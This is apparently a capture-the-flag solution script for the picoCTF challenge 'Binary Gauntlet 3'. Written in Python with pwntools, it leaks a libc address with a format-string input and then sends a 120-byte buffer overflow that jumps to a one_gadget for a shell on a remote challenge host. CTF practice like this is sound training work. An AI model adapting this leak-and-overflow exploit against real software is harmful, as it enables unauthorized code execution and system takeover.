Binary Gauntlet 3

#!/usr/bin/env python3

from pwn import *

exe = ELF("./gauntlet_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

gdb_script = '''
b main
b strcpy
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("wily-courier.picoctf.net", 63301)

    return r


def main():
    r = conn()
    offset = 120
    leak = 23
    diff = 0x21c87
    one_gadget = 0x4f2a5

    r.sendline(f"%{leak}$p")
    leak_addr = int(r.recvline().strip(b'\n'), 16)
    base_libc = leak_addr - diff

    payload = b"A"*120
    payload += p64(base_libc + one_gadget)
    r.sendline(payload)


    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()